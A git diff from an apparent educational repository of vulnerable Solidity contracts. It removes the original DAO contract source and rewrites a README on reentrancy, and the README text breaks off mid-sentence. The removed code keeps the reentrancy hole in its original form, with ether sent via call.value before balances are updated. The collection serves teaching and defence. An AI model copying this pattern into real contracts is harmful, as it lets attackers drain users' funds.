(balances[_from] >= _amount - && allowed[_from][msg.sender] >= _amount - && _amount > 0) { - - balances[_to] += _amount; - balances[_from] -= _amount; - allowed[_from][msg.sender] -= _amount; - Transfer(_from, _to, _amount); - return true; - } else { - return false; - } - } - - function approve(address _spender, uint256 _amount) returns (bool success) { - allowed[msg.sender][_spender] = _amount; - Approval(msg.sender, _spender, _amount); - return true; - } - - function allowance(address _owner, address _spender) constant returns (uint256 remaining) { - return allowed[_owner][_spender]; - } -} - - -/* -This file is part of the DAO. - -The DAO is free software: you can redistribute it and/or modify -it under the terms of the GNU lesser General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -The DAO is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU lesser General Public License for more details. - -You should have received a copy of the GNU lesser General Public License -along with the DAO. If not, see . -*/ - - -/* -Basic account, used by the DAO contract to separately manage both the rewards -and the extraBalance accounts. -*/ - -contract ManagedAccountInterface { - // The only address with permission to withdraw from this account - address public owner; - // If true, only the owner of the account can receive ether from it - bool public payOwnerOnly; - // The sum of ether (in wei) which has been sent to this contract - uint public accumulatedInput; - - /// @notice Sends `_amount` of wei to _recipient - /// @param _amount The amount of wei to send to `_recipient` - /// @param _recipient The address to receive `_amount` of wei - /// @return True if the send completed - function payOut(address _recipient, uint _amount) returns (bool); - - event PayOut(address indexed _recipient, uint _amount); -} - - -contract ManagedAccount is ManagedAccountInterface{ - - // The constructor sets the owner of the account - function ManagedAccount(address _owner, bool _payOwnerOnly) { - owner = _owner; - payOwnerOnly = _payOwnerOnly; - } - - // When the contract receives a transaction without data this is called. - // It counts the amount of ether it receives and stores it in - // accumulatedInput. - function() { - accumulatedInput += msg.value; - } - - function payOut(address _recipient, uint _amount) returns (bool) { - if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) - throw; - if (_recipient.call.value(_amount)()) { - PayOut(_recipient, _amount); - return true; - } else { - return false; - } - } -} -/* -This file is part of the DAO. - -The DAO is free software: you can redistribute it and/or modify -it under the terms of the GNU lesser General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -The DAO is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU lesser General Public License for more details. - -You should have received a copy of the GNU lesser General Public License -along with the DAO. If not, see . -*/ - - -/* - * Token Creation contract, used by the DAO to create its tokens and initialize - * its ether. Feel free to modify the divisor method to implement different - * Token Creation parameters -*/ - - -contract TokenCreationInterface { - - // End of token creation, in Unix time - uint public closingTime; - // Minimum fueling goal of the token creation, denominated in tokens to - // be created - uint public minTokensToCreate; - // True if the DAO reached its minimum fueling goal, false otherwise - bool public isFueled; - // For DAO splits - if privateCreation is 0, then it is a public token - // creation, otherwise only the address stored in privateCreation is - // allowed to create tokens - address public privateCreation; - // hold extra ether which has been sent after the DAO token - // creation rate has increased - ManagedAccount public extraBalance; - // tracks the amount of wei given from each contributor (used for refund) - mapping (address => uint256) weiGiven; - - /// @dev Constructor setting the minimum fueling goal and the - /// end of the Token Creation - /// @param _minTokensToCreate Minimum fueling goal in number of - /// Tokens to be created - /// @param _closingTime Date (in Unix time) of the end of the Token Creation - /// @param _privateCreation Zero means that the creation is public. A - /// non-zero address represents the only address that can create Tokens - /// (the address can also create Tokens on behalf of other accounts) - // This is the constructor: it can not be overloaded so it is commented out - // function TokenCreation( - // uint _minTokensTocreate, - // uint _closingTime, - // address _privateCreation - // ); - - /// @notice Create Token with `_tokenHolder` as the initial owner of the Token - /// @param _tokenHolder The address of the Tokens's recipient - /// @return Whether the token creation was successful - function createTokenProxy(address _tokenHolder) returns (bool success); - - /// @notice Refund `msg.sender` in the case the Token Creation did - /// not reach its minimum fueling goal - function refund(); - - /// @return The divisor used to calculate the token creation rate during - /// the creation phase - function divisor() constant returns (uint divisor); - - event FuelingToDate(uint value); - event CreatedToken(address indexed to, uint amount); - event Refund(address indexed to, uint value); -} - - -contract TokenCreation is TokenCreationInterface, Token { - function TokenCreation( - uint _minTokensToCreate, - uint _closingTime, - address _privateCreation) { - - closingTime = _closingTime; - minTokensToCreate = _minTokensToCreate; - privateCreation = _privateCreation; - extraBalance = new ManagedAccount(address(this), true); - } - - function createTokenProxy(address _tokenHolder) returns (bool success) { - if (now < closingTime && msg.value > 0 - && (privateCreation == 0 || privateCreation == msg.sender)) { - - uint token = (msg.value * 20) / divisor(); - extraBalance.call.value(msg.value - token)(); - balances[_tokenHolder] += token; - totalSupply += token; - weiGiven[_tokenHolder] += msg.value; - CreatedToken(_tokenHolder, token); - if (totalSupply >= minTokensToCreate && !isFueled) { - isFueled = true; - FuelingToDate(totalSupply); - } - return true; - } - throw; - } - - function refund() noEther { - if (now > closingTime && !isFueled) { - // Get extraBalance - will only succeed when called for the first time - if (extraBalance.balance >= extraBalance.accumulatedInput()) - extraBalance.payOut(address(this), extraBalance.accumulatedInput()); - - // Execute refund - if (msg.sender.call.value(weiGiven[msg.sender])()) { - Refund(msg.sender, weiGiven[msg.sender]); - totalSupply -= balances[msg.sender]; - balances[msg.sender] = 0; - weiGiven[msg.sender] = 0; - } - } - } - - function divisor() constant returns (uint divisor) { - // The number of (base unit) tokens per wei is calculated - // as `msg.value` * 20 / `divisor` - // The fueling period starts with a 1:1 ratio - if (closingTime - 2 weeks > now) { - return 20; - // Followed by 10 days with a daily creation rate increase of 5% - } else if (closingTime - 4 days > now) { - return (20 + (now - (closingTime - 2 weeks)) / (1 days)); - // The last 4 days there is a constant creation rate ratio of 1:1.5 - } else { - return 30; - } - } -} -/* -This file is part of the DAO. - -The DAO is free software: you can redistribute it and/or modify -it under the terms of the GNU lesser General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -The DAO is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU lesser General Public License for more details. - -You should have received a copy of the GNU lesser General Public License -along with the DAO. If not, see . -*/ - - -/* -Standard smart contract for a Decentralized Autonomous Organization (DAO) -to automate organizational governance and decision-making. -*/ - - -contract DAOInterface { - - // The amount of days for which people who try to participate in the - // creation by calling the fallback function will still get their ether back - uint constant creationGracePeriod = 40 days; - // The minimum debate period that a generic proposal can have - uint constant minProposalDebatePeriod = 2 weeks; - // The minimum debate period that a split proposal can have - uint constant minSplitDebatePeriod = 1 weeks; - // Period of days inside which it's possible to execute a DAO split - uint constant splitExecutionPeriod = 27 days; - // Period of time after which the minimum Quorum is halved - uint constant quorumHalvingPeriod = 25 weeks; - // Period after which a proposal is closed - // (used in the case `executeProposal` fails because it throws) - uint constant executeProposalPeriod = 10 days; - // Denotes the maximum proposal deposit that can be given. It is given as - // a fraction of total Ether spent plus balance of the DAO - uint constant maxDepositDivisor = 100; - - // Proposals to spend the DAO's ether or to choose a new Curator - Proposal[] public proposals; - // The quorum needed for each proposal is partially calculated by - // totalSupply / minQuorumDivisor - uint public minQuorumDivisor; - // The unix time of the last time quorum was reached on a proposal - uint public lastTimeMinQuorumMet; - - // Address of the curator - address public curator; - // The whitelist: List of addresses the DAO is allowed to send ether to - mapping (address => bool) public allowedRecipients; - - // Tracks the addresses that own Reward Tokens. Those addresses can only be - // DAOs that have split from the original DAO. Conceptually, Reward Tokens - // represent the proportion of the rewards that the DAO has the right to - // receive. These Reward Tokens are generated when the DAO spends ether. - mapping (address => uint) public rewardToken; - // Total supply of rewardToken - uint public totalRewardToken; - - // The account used to manage the rewards which are to be distributed to the - // DAO Token Holders of this DAO - ManagedAccount public rewardAccount; - - // The account used to manage the rewards which are to be distributed to - // any DAO that holds Reward Tokens - ManagedAccount public DAOrewardAccount; - - // Amount of rewards (in wei) already paid out to a certain DAO - mapping (address => uint) public DAOpaidOut; - - // Amount of rewards (in wei) already paid out to a certain address - mapping (address => uint) public paidOut; - // Map of addresses blocked during a vote (not allowed to transfer DAO - // tokens). The address points to the proposal ID. - mapping (address => uint) public blocked; - - // The minimum deposit (in wei) required to submit any proposal that is not - // requesting a new Curator (no deposit is required for splits) - uint public proposalDeposit; - - // the accumulated sum of all current proposal deposits - uint sumOfProposalDeposits; - - // Contract that is able to create a new DAO (with the same code as - // this one), used for splits - DAO_Creator public daoCreator; - - // A proposal with `newCurator == false` represents a transaction - // to be issued by this DAO - // A proposal with `newCurator == true` represents a DAO split - struct Proposal { - // The address where the `amount` will go to if the proposal is accepted - // or if `newCurator` is true, the proposed Curator of - // the new DAO). - address recipient; - // The amount to transfer to `recipient` if the proposal is accepted. - uint amount; - // A plain text description of the proposal - string description; - // A unix timestamp, denoting the end of the voting period - uint votingDeadline; - // True if the proposal's votes have yet to be counted, otherwise False - bool open; - // True if quorum has been reached, the votes have been counted, and - // the majority said yes - bool proposalPassed; - // A hash to check validity of a proposal - bytes32 proposalHash; - // Deposit in wei the creator added when submitting their proposal. It - // is taken from the msg.value of a newProposal call. - uint proposalDeposit; - // True if this proposal is to assign a new Curator - bool newCurator; - // Data needed for splitting the DAO - SplitData[] splitData; - // Number of Tokens in favor of the proposal - uint yea; - // Number of Tokens opposed to the proposal - uint nay; - // Simple mapping to check if a shareholder has voted for it - mapping (address => bool) votedYes; - // Simple mapping to check if a shareholder has voted against it - mapping (address => bool) votedNo; - // Address of the shareholder who created the proposal - address creator; - } - - // Used only in the case of a newCurator proposal. - struct SplitData { - // The balance of the current DAO minus the deposit at the time of split - uint splitBalance; - // The total amount of DAO Tokens in existence at the time of split. - uint totalSupply; - // Amount of Reward Tokens owned by the DAO at the time of split. - uint rewardToken; - // The new DAO contract created at the time of split. - DAO newDAO; - } - - // Used to restrict access to certain functions to only DAO Token Holders - modifier onlyTokenholders {} - - /// @dev Constructor setting the Curator and the address - /// for the contract able to create another DAO as well as the parameters - /// for the DAO Token Creation - /// @param _curator The Curator - /// @param _daoCreator The contract able to (re)create this DAO - /// @param _proposalDeposit The deposit to be paid for a regular proposal - /// @param _minTokensToCreate Minimum required wei-equivalent tokens - /// to be created for a successful DAO Token Creation - /// @param _closingTime Date (in Unix time) of the end of the DAO Token Creation - /// @param _privateCreation If zero the DAO Token Creation is open to public, a - /// non-zero address means that the DAO Token Creation is only for the address - // This is the constructor: it can not be overloaded so it is commented out - // function DAO( - // address _curator, - // DAO_Creator _daoCreator, - // uint _proposalDeposit, - // uint _minTokensToCreate, - // uint _closingTime, - // address _privateCreation - // ); - - /// @notice Create Token with `msg.sender` as the beneficiary - /// @return Whether the token creation was successful - function () returns (bool success); - - - /// @dev This function is used to send ether back - /// to the DAO, it can also be used to receive payments that should not be - /// counted as rewards (donations, grants, etc.) - /// @return Whether the DAO received the ether successfully - function receiveEther() returns(bool); - - /// @notice `msg.sender` creates a proposal to send `_amount` Wei to - /// `_recipient` with the transaction data `_transactionData`. If - /// `_newCurator` is true, then this is a proposal that splits the - /// DAO and sets `_recipient` as the new DAO's Curator. - /// @param _recipient Address of the recipient of the proposed transaction - /// @param _amount Amount of wei to be sent with the proposed transaction - /// @param _description String describing the proposal - /// @param _transactionData Data of the proposed transaction - /// @param _debatingPeriod Time used for debating a proposal, at least 2 - /// weeks for a regular proposal, 10 days for new Curator proposal - /// @param _newCurator Bool defining whether this proposal is about - /// a new Curator or not - /// @return The proposal ID. Needed for voting on the proposal - function newProposal( - address _recipient, - uint _amount, - string _description, - bytes _transactionData, - uint _debatingPeriod, - bool _newCurator - ) onlyTokenholders returns (uint _proposalID); - - /// @notice Check that the proposal with the ID `_proposalID` matches the - /// transaction which sends `_amount` with data `_transactionData` - /// to `_recipient` - /// @param _proposalID The proposal ID - /// @param _recipient The recipient of the proposed transaction - /// @param _amount The amount of wei to be sent in the proposed transaction - /// @param _transactionData The data of the proposed transaction - /// @return Whether the proposal ID matches the transaction data or not - function checkProposalCode( - uint _proposalID, - address _recipient, - uint _amount, - bytes _transactionData - ) constant returns (bool _codeChecksOut); - - /// @notice Vote on proposal `_proposalID` with `_supportsProposal` - /// @param _proposalID The proposal ID - /// @param _supportsProposal Yes/No - support of the proposal - /// @return The vote ID. - function vote( - uint _proposalID, - bool _supportsProposal - ) onlyTokenholders returns (uint _voteID); - - /// @notice Checks whether proposal `_proposalID` with transaction data - /// `_transactionData` has been voted for or rejected, and executes the - /// transaction in the case it has been voted for. - /// @param _proposalID The proposal ID - /// @param _transactionData The data of the proposed transaction - /// @return Whether the proposed transaction has been executed or not - function executeProposal( - uint _proposalID, - bytes _transactionData - ) returns (bool _success); - - /// @notice ATTENTION! I confirm to move my remaining ether to a new DAO - /// with `_newCurator` as the new Curator, as has been - /// proposed in proposal `_proposalID`. This will burn my tokens. This can - /// not be undone and will split the DAO into two DAO's, with two - /// different underlying tokens. - /// @param _proposalID The proposal ID - /// @param _newCurator The new Curator of the new DAO - /// @dev This function, when called for the first time for this proposal, - /// will create a new DAO and send the sender's portion of the remaining - /// ether and Reward Tokens to the new DAO. It will also burn the DAO Tokens - /// of the sender. - function splitDAO( - uint _proposalID, - address _newCurator - ) returns (bool _success); - - /// @dev can only be called by the DAO itself through a proposal - /// updates the contract of the DAO by sending all ether and rewardTokens - /// to the new DAO. The new DAO needs to be approved by the Curator - /// @param _newContract the address of the new contract - function newContract(address _newContract); - - - /// @notice Add a new possible recipient `_recipient` to the whitelist so - /// that the DAO can send transactions to them (using proposals) - /// @param _recipient New recipient address - /// @dev Can only be called by the current Curator - /// @return Whether successful or not - function changeAllowedRecipients(address _recipient, bool _allowed) external returns (bool _success); - - - /// @notice Change the minimum deposit required to submit a proposal - /// @param _proposalDeposit The new proposal deposit - /// @dev Can only be called by this DAO (through proposals with the - /// recipient being this DAO itself) - function changeProposalDeposit(uint _proposalDeposit) external; - - /// @notice Move rewards from the DAORewards managed account - /// @param _toMembers If true rewards are moved to the actual reward account - /// for the DAO. If not then it's moved to the DAO itself - /// @return Whether the call was successful - function retrieveDAOReward(bool _toMembers) external returns (bool _success); - - /// @notice Get my portion of the reward that was sent to `rewardAccount` - /// @return Whether the call was successful - function getMyReward() returns(bool _success); - - /// @notice Withdraw `_account`'s portion of the reward from `rewardAccount` - /// to `_account`'s balance - /// @return Whether the call was successful - function withdrawRewardFor(address _account) internal returns (bool _success); - - /// @notice Send `_amount` tokens to `_to` from `msg.sender`. Prior to this - /// getMyReward() is called. - /// @param _to The address of the recipient - /// @param _amount The amount of tokens to be transfered - /// @return Whether the transfer was successful or not - function transferWithoutReward(address _to, uint256 _amount) returns (bool success); - - /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it - /// is approved by `_from`. Prior to this getMyReward() is called. - /// @param _from The address of the sender - /// @param _to The address of the recipient - /// @param _amount The amount of tokens to be transfered - /// @return Whether the transfer was successful or not - function transferFromWithoutReward( - address _from, - address _to, - uint256 _amount - ) returns (bool success); - - /// @notice Doubles the 'minQuorumDivisor' in the case quorum has not been - /// achieved in 52 weeks - /// @return Whether the change was successful or not - function halveMinQuorum() returns (bool _success); - - /// @return total number of proposals ever created - function numberOfProposals() constant returns (uint _numberOfProposals); - - /// @param _proposalID Id of the new curator proposal - /// @return Address of the new DAO - function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO); - - /// @param _account The address of the account which is checked. - /// @return Whether the account is blocked (not allowed to transfer tokens) or not. - function isBlocked(address _account) internal returns (bool); - - /// @notice If the caller is blocked by a proposal whose voting deadline - /// has exprired then unblock him. - /// @return Whether the account is blocked (not allowed to transfer tokens) or not. - function unblockMe() returns (bool); - - event ProposalAdded( - uint indexed proposalID, - address recipient, - uint amount, - bool newCurator, - string description - ); - event Voted(uint indexed proposalID, bool position, address indexed voter); - event ProposalTallied(uint indexed proposalID, bool result, uint quorum); - event NewCurator(address indexed _newCurator); - event AllowedRecipientChanged(address indexed _recipient, bool _allowed); -} - -// The DAO contract itself -contract DAO is DAOInterface, Token, TokenCreation { - - // Modifier that allows only shareholders to vote and create new proposals - modifier onlyTokenholders { - if (balanceOf(msg.sender) == 0) throw; - _ - } - - function DAO( - address _curator, - DAO_Creator _daoCreator, - uint _proposalDeposit, - uint _minTokensToCreate, - uint _closingTime, - address _privateCreation - ) TokenCreation(_minTokensToCreate, _closingTime, _privateCreation) { - - curator = _curator; - daoCreator = _daoCreator; - proposalDeposit = _proposalDeposit; - rewardAccount = new ManagedAccount(address(this), false); - DAOrewardAccount = new ManagedAccount(address(this), false); - if (address(rewardAccount) == 0) - throw; - if (address(DAOrewardAccount) == 0) - throw; - lastTimeMinQuorumMet = now; - minQuorumDivisor = 5; // sets the minimal quorum to 20% - proposals.length = 1; // avoids a proposal with ID 0 because it is used - - allowedRecipients[address(this)] = true; - allowedRecipients[curator] = true; - } - - function () returns (bool success) { - if (now < closingTime + creationGracePeriod && msg.sender != address(extraBalance)) - return createTokenProxy(msg.sender); - else - return receiveEther(); - } - - - function receiveEther() returns (bool) { - return true; - } - - - function newProposal( - address _recipient, - uint _amount, - string _description, - bytes _transactionData, - uint _debatingPeriod, - bool _newCurator - ) onlyTokenholders returns (uint _proposalID) { - - // Sanity check - if (_newCurator && ( - _amount != 0 - || _transactionData.length != 0 - || _recipient == curator - || msg.value > 0 - || _debatingPeriod < minSplitDebatePeriod)) { - throw; - } else if ( - !_newCurator - && (!isRecipientAllowed(_recipient) || (_debatingPeriod < minProposalDebatePeriod)) - ) { - throw; - } - - if (_debatingPeriod > 8 weeks) - throw; - - if (!isFueled - || now < closingTime - || (msg.value < proposalDeposit && !_newCurator)) { - - throw; - } - - if (now + _debatingPeriod < now) // prevents overflow - throw; - - // to prevent a 51% attacker to convert the ether into deposit - if (msg.sender == address(this)) - throw; - - _proposalID = proposals.length++; - Proposal p = proposals[_proposalID]; - p.recipient = _recipient; - p.amount = _amount; - p.description = _description; - p.proposalHash = sha3(_recipient, _amount, _transactionData); - p.votingDeadline = now + _debatingPeriod; - p.open = true; - //p.proposalPassed = False; // that's default - p.newCurator = _newCurator; - if (_newCurator) - p.splitData.length++; - p.creator = msg.sender; - p.proposalDeposit = msg.value; - - sumOfProposalDeposits += msg.value; - - ProposalAdded( - _proposalID, - _recipient, - _amount, - _newCurator, - _description - ); - } - - - function checkProposalCode( - uint _proposalID, - address _recipient, - uint _amount, - bytes _transactionData - ) noEther constant returns (bool _codeChecksOut) { - Proposal p = proposals[_proposalID]; - return p.proposalHash == sha3(_recipient, _amount, _transactionData); - } - - - function vote( - uint _proposalID, - bool _supportsProposal - ) onlyTokenholders noEther returns (uint _voteID) { - - Proposal p = proposals[_proposalID]; - if (p.votedYes[msg.sender] - || p.votedNo[msg.sender] - || now >= p.votingDeadline) { - - throw; - } - - if (_supportsProposal) { - p.yea += balances[msg.sender]; - p.votedYes[msg.sender] = true; - } else { - p.nay += balances[msg.sender]; - p.votedNo[msg.sender] = true; - } - - if (blocked[msg.sender] == 0) { - blocked[msg.sender] = _proposalID; - } else if (p.votingDeadline > proposals[blocked[msg.sender]].votingDeadline) { - // this proposal's voting deadline is further into the future than - // the proposal that blocks the sender so make it the blocker - blocked[msg.sender] = _proposalID; - } - - Voted(_proposalID, _supportsProposal, msg.sender); - } - - - function executeProposal( - uint _proposalID, - bytes _transactionData - ) noEther returns (bool _success) { - - Proposal p = proposals[_proposalID]; - - uint waitPeriod = p.newCurator - ? splitExecutionPeriod - : executeProposalPeriod; - // If we are over deadline and waiting period, assert proposal is closed - if (p.open && now > p.votingDeadline + waitPeriod) { - closeProposal(_proposalID); - return; - } - - // Check if the proposal can be executed - if (now < p.votingDeadline // has the voting deadline arrived? - // Have the votes been counted? - || !p.open - // Does the transaction code match the proposal? - || p.proposalHash != sha3(p.recipient, p.amount, _transactionData)) { - - throw; - } - - // If the curator removed the recipient from the whitelist, close the proposal - // in order to free the deposit and allow unblocking of voters - if (!isRecipientAllowed(p.recipient)) { - closeProposal(_proposalID); - p.creator.send(p.proposalDeposit); - return; - } - - bool proposalCheck = true; - - if (p.amount > actualBalance()) - proposalCheck = false; - - uint quorum = p.yea + p.nay; - - // require 53% for calling newContract() - if (_transactionData.length >= 4 && _transactionData[0] == 0x68 - && _transactionData[1] == 0x37 && _transactionData[2] == 0xff - && _transactionData[3] == 0x1e - && quorum < minQuorum(actualBalance() + rewardToken[address(this)])) { - - proposalCheck = false; - } - - if (quorum >= minQuorum(p.amount)) { - if (!p.creator.send(p.proposalDeposit)) - throw; - - lastTimeMinQuorumMet = now; - // set the minQuorum to 20% again, in the case it has been reached - if (quorum > totalSupply / 5) - minQuorumDivisor = 5; - } - - // Execute result - if (quorum >= minQuorum(p.amount) && p.yea > p.nay && proposalCheck) { - if (!p.recipient.call.value(p.amount)(_transactionData)) - throw; - - p.proposalPassed = true; - _success = true; - - // only create reward tokens when ether is not sent to the DAO itself and - // related addresses. Proxy addresses should be forbidden by the curator. - if (p.recipient != address(this) && p.recipient != address(rewardAccount) - && p.recipient != address(DAOrewardAccount) - && p.recipient != address(extraBalance) - && p.recipient != address(curator)) { - - rewardToken[address(this)] += p.amount; - totalRewardToken += p.amount; - } - } - - closeProposal(_proposalID); - - // Initiate event - ProposalTallied(_proposalID, _success, quorum); - } - - - function closeProposal(uint _proposalID) internal { - Proposal p = proposals[_proposalID]; - if (p.open) - sumOfProposalDeposits -= p.proposalDeposit; - p.open = false; - } - - function splitDAO( - uint _proposalID, - address _newCurator - ) noEther onlyTokenholders returns (bool _success) { - - Proposal p = proposals[_proposalID]; - - // Sanity check - - if (now < p.votingDeadline // has the voting deadline arrived? - //The request for a split expires XX days after the voting deadline - || now > p.votingDeadline + splitExecutionPeriod - // Does the new Curator address match? - || p.recipient != _newCurator - // Is it a new curator proposal? - || !p.newCurator - // Have you voted for this split? - || !p.votedYes[msg.sender] - // Did you already vote on another proposal? - || (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) { - - throw; - } - - // If the new DAO doesn't exist yet, create the new DAO and store the - // current split data - if (address(p.splitData[0].newDAO) == 0) { - p.splitData[0].newDAO = createNewDAO(_newCurator); - // Call depth limit reached, etc. - if (address(p.splitData[0].newDAO) == 0) - throw; - // should never happen - if (this.balance < sumOfProposalDeposits) - throw; - p.splitData[0].splitBalance = actualBalance(); - p.splitData[0].rewardToken = rewardToken[address(this)]; - p.splitData[0].totalSupply = totalSupply; - p.proposalPassed = true; - } - - // Move ether and assign new Tokens - uint fundsToBeMoved = - (balances[msg.sender] * p.splitData[0].splitBalance) / - p.splitData[0].totalSupply; - if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) - throw; - - - // Assign reward rights to new DAO - uint rewardTokenToBeMoved = - (balances[msg.sender] * p.splitData[0].rewardToken) / - p.splitData[0].totalSupply; - - uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved / - rewardToken[address(this)]; - - rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved; - if (rewardToken[address(this)] < rewardTokenToBeMoved) - throw; - rewardToken[address(this)] -= rewardTokenToBeMoved; - - DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved; - if (DAOpaidOut[address(this)] < paidOutToBeMoved) - throw; - DAOpaidOut[address(this)] -= paidOutToBeMoved; - - // Burn DAO Tokens - Transfer(msg.sender, 0, balances[msg.sender]); - withdrawRewardFor(msg.sender); // be nice, and get his rewards - totalSupply -= balances[msg.sender]; - balances[msg.sender] = 0; - paidOut[msg.sender] = 0; - return true; - } - - function newContract(address _newContract){ - if (msg.sender != address(this) || !allowedRecipients[_newContract]) return; - // move all ether - if (!_newContract.call.value(address(this).balance)()) { - throw; - } - - //move all reward tokens - rewardToken[_newContract] += rewardToken[address(this)]; - rewardToken[address(this)] = 0; - DAOpaidOut[_newContract] += DAOpaidOut[address(this)]; - DAOpaidOut[address(this)] = 0; - } - - - function retrieveDAOReward(bool _toMembers) external noEther returns (bool _success) { - DAO dao = DAO(msg.sender); - - if ((rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / - totalRewardToken < DAOpaidOut[msg.sender]) - throw; - - uint reward = - (rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / - totalRewardToken - DAOpaidOut[msg.sender]; - if(_toMembers) { - if (!DAOrewardAccount.payOut(dao.rewardAccount(), reward)) - throw; - } - else { - if (!DAOrewardAccount.payOut(dao, reward)) - throw; - } - DAOpaidOut[msg.sender] += reward; - return true; - } - - function getMyReward() noEther returns (bool _success) { - return withdrawRewardFor(msg.sender); - } - - - function withdrawRewardFor(address _account) noEther internal returns (bool _success) { - if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) - throw; - - uint reward = - (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; - if (!rewardAccount.payOut(_account, reward)) - throw; - paidOut[_account] += reward; - return true; - } - - - function transfer(address _to, uint256 _value) returns (bool success) { - if (isFueled - && now > closingTime - && !isBlocked(msg.sender) - && transferPaidOut(msg.sender, _to, _value) - && super.transfer(_to, _value)) { - - return true; - } else { - throw; - } - } - - - function transferWithoutReward(address _to, uint256 _value) returns (bool success) { - if (!getMyReward()) - throw; - return transfer(_to, _value); - } - - - function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { - if (isFueled - && now > closingTime - && !isBlocked(_from) - && transferPaidOut(_from, _to, _value) - && super.transferFrom(_from, _to, _value)) { - - return true; - } else { - throw; - } - } - - - function transferFromWithoutReward( - address _from, - address _to, - uint256 _value - ) returns (bool success) { - - if (!withdrawRewardFor(_from)) - throw; - return transferFrom(_from, _to, _value); - } - - - function transferPaidOut( - address _from, - address _to, - uint256 _value - ) internal returns (bool success) { - - uint transferPaidOut = paidOut[_from] * _value / balanceOf(_from); - if (transferPaidOut > paidOut[_from]) - throw; - paidOut[_from] -= transferPaidOut; - paidOut[_to] += transferPaidOut; - return true; - } - - - function changeProposalDeposit(uint _proposalDeposit) noEther external { - if (msg.sender != address(this) || _proposalDeposit > (actualBalance() + rewardToken[address(this)]) - / maxDepositDivisor) { - - throw; - } - proposalDeposit = _proposalDeposit; - } - - - function changeAllowedRecipients(address _recipient, bool _allowed) noEther external returns (bool _success) { - if (msg.sender != curator) - throw; - allowedRecipients[_recipient] = _allowed; - AllowedRecipientChanged(_recipient, _allowed); - return true; - } - - - function isRecipientAllowed(address _recipient) internal returns (bool _isAllowed) { - if (allowedRecipients[_recipient] - || (_recipient == address(extraBalance) - // only allowed when at least the amount held in the - // extraBalance account has been spent from the DAO - && totalRewardToken > extraBalance.accumulatedInput())) - return true; - else - return false; - } - - function actualBalance() constant returns (uint _actualBalance) { - return this.balance - sumOfProposalDeposits; - } - - - function minQuorum(uint _value) internal constant returns (uint _minQuorum) { - // minimum of 20% and maximum of 53.33% - return totalSupply / minQuorumDivisor + - (_value * totalSupply) / (3 * (actualBalance() + rewardToken[address(this)])); - } - - - function halveMinQuorum() returns (bool _success) { - // this can only be called after `quorumHalvingPeriod` has passed or at anytime - // by the curator with a delay of at least `minProposalDebatePeriod` between the calls - if ((lastTimeMinQuorumMet < (now - quorumHalvingPeriod) || msg.sender == curator) - && lastTimeMinQuorumMet < (now - minProposalDebatePeriod)) { - lastTimeMinQuorumMet = now; - minQuorumDivisor *= 2; - return true; - } else { - return false; - } - } - - function createNewDAO(address _newCurator) internal returns (DAO _newDAO) { - NewCurator(_newCurator); - return daoCreator.createDAO(_newCurator, 0, 0, now + splitExecutionPeriod); - } - - function numberOfProposals() constant returns (uint _numberOfProposals) { - // Don't count index 0. It's used by isBlocked() and exists from start - return proposals.length - 1; - } - - function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO) { - return proposals[_proposalID].splitData[0].newDAO; - } - - function isBlocked(address _account) internal returns (bool) { - if (blocked[_account] == 0) - return false; - Proposal p = proposals[blocked[_account]]; - if (now > p.votingDeadline) { - blocked[_account] = 0; - return false; - } else { - return true; - } - } - - function unblockMe() returns (bool) { - return isBlocked(msg.sender); - } -} - -contract DAO_Creator { - function createDAO( - address _curator, - uint _proposalDeposit, - uint _minTokensToCreate, - uint _closingTime - ) returns (DAO _newDAO) { - - return new DAO( - _curator, - DAO_Creator(this), - _proposalDeposit, - _minTokensToCreate, - _closingTime, - msg.sender - ); - } -} diff --git a/not-so-smart-contracts/solidity/reentrancy/README.md b/not-so-smart-contracts/solidity/reentrancy/README.md index 439909b2..53829fdc 100644 --- a/not-so-smart-contracts/solidity/reentrancy/README.md +++ b/not-so-smart-contracts/solidity/reentrancy/README.md @@ -1,21 +1,25 @@ # Reentrancy -A state variable is changed after a contract uses `call.value`. The attacker uses -[a fallback function](ReentrancyExploit.sol#L26-L33)—which is automatically executed after -Ether is transferred from the targeted contract—to execute the vulnerable function again, *before* the -state variable is changed. -## Attack Scenarios -- A contract that holds a map of account balances allows users to call a `withdraw` function. However, -`withdraw` calls `send` which transfers control to the calling contract, but doesn't decrease their -balance until after `send` has finished executing. The attacker can then repeatedly withdraw money -that they do not have. +[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) experienced the most famous [hack](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/) in Ethereum's history which ultimately led to a contentious hardfork as funds were recovered on Ethereum but not on Ethereum Classic. This hack was one of the first recorded reentrancy attacks: A state variable was changed after sending ether to an external contract. The attacker uses [a fallback function](ReentrancyExploit.sol#L26-L33) (which is automatically executed after ether is transferred from the targeted contract) to execute the vulnerable function again, *before* the state variable is changed. As a result, they could repeatedly withdraw funds that they did not own. -## Mitigations +Afterwards, solidity introduced `send` and `transfer` functions which only supply 2300 gas; enough to emit an Event but not enough to repeatedly call external contracts to perform the type of reentrancy that victimized The DAO. Reentrancy attacks triggered by simply sending ether are no longer feasible in the same way as it 